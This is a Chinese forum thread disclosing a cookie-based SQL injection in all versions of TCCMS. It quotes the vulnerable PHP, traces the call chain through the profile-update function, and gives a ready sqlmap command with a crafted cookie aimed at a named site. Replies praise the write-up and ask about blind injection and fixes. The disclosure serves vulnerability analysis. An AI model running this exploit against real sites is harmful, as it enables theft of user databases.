Diana 发表于 2014-1-3 05:40:59

TCCMS全版本COOKIE注入

本帖最后由 Diana 于 2014-1-3 05:46 编辑

/public/Class/Authen.class.php
省略无关代码
请注意添加注释处代码,下同
public static function checkUserLogin() {
      $_Obj = M("user");
      if (empty($_COOKIE['userId']) || empty($_COOKIE['AuthenId'])) {return false;}
      //下面的语句直接使用$_COOKIE['userId']没有过滤
      $sql="select password from ".$_Obj->table." where id=".$_COOKIE['userId'];
      //不考虑之后的代码,如果没有其他限制至少可以盲注
      $info = $_Obj->query($sql);
      if (!empty($_COOKIE['AuthenId']) && md5($info.Config::get("anthenKey")) == $_COOKIE['AuthenId']) {
            return true;
      }
      return false;
    }

//下面函数与之后提到的攻击向量有关
public static function checkIsSelfData($uid) {
      if (self::isAdmin()) {return true;}
      if ($uid == $_COOKIE['userId'] && self::checkUserLogin()) {return true;}
      return false;
    }
那么我们要定位漏洞代码的触发位置

/core/controller/user.class.php

攻击向量:

update()-------------》Authen::checkIsSelfData-------》checkUserLogin()

缺陷参数:userID
public function update() {
      …………省略无关代码…………

      //禁止修改别人的

      $IsSelfData = Authen::checkIsSelfData($_Obj->id);

      if (!$IsSelfData) {

            $this->setValue("error", Config::lang("NOTRIGHT"));

            $this->forward("error.html");

            exit;

      }

      $_Obj->update();

      StringUtil::msgbox(Config::lang("MODIFYSUCCESS"), 'index.php?ac=user_info', 1);

    }

即:在更新个人信息时可以直接将cookie中的userID带入数据库查询,形成注射

exp:
sqlmap.py -u "http://0day5.com/index.php?ac=user_update" --data "abc" --cookie "Cookie=PHPSESSID=0lc04nmbqmmtr420c83n8ov3g4; userId=37; AuthenId=2fd1239168e9fabd621a8d00fba03203" --level 2 --table --dbms=mysql





{:soso__5548040772417742106_4:}
http://lianjie.92cc.com/mp3/e46d7340f5b3aca8fe3e9468134022d68.mp3
不回复木JJ 伸手党木JJ

90_ 发表于 2014-1-3 11:38:06

妹子不错,音乐也不错

ICBM 发表于 2014-1-3 12:52:09

代码审计,高端大气{:soso_e154:}

热心网友1 发表于 2026-5-21 13:05:00

Re: TCCMS全版本COOKIE注入

看完了这篇分析,楼主对 TCCMS cookie 注入的挖掘很清晰,代码定位和攻击链也讲得明白。特别是 `checkUserLogin` 里直接拼接 `$_COOKIE['userId']` 那一段,确实典型。更新个人信息这个入口选得也好,利用 `checkIsSelfData` 的流程自然触发注入。sqlmap 的示例也方便复现。这漏洞影响面应该不小,全版本的话很多站点可能还躺枪。感谢分享,帮大家避坑了。

热心网友5 发表于 2026-6-17 18:20:00

Re: TCCMS全版本COOKIE注入

看到Diana分享的这个TCCMS全版本cookie注入漏洞分析,写得挺清楚的,从代码审计到攻击向量都一步步拆解了。这个`checkUserLogin()`直接拿cookie里的`userId`拼SQL确实危险,连个intval或者引号都不加,典型的注入点。而且通过`update()`个人资料时的权限校验触发,利用起来也方便。 想请教一下,这种注入在盲注场景下,除了`--level 2`之外,`AuthenId`的校验会不会影响返回结果?比如验证失败直接false,是否还能通过报错或时间盲注拿到数据?另外修复的话,除了过滤`userId`并强制转整型,是不是也该考虑把`AuthenId`的生成算法也加固一下?

热心网友6 发表于 2026-6-17 20:40:01

Re: TCCMS全版本COOKIE注入

感谢分享这个漏洞分析,代码走读很清晰,从 `checkUserLogin` 直接拼接 cookie 到 SQL 到 `update` 处的调用链也讲明白了,这种通过 cookie 注入的思路确实容易被人忽略。exp 也很实用,方便验证。收藏学习了!
页: [1]
查看完整版本: TCCMS全版本COOKIE注入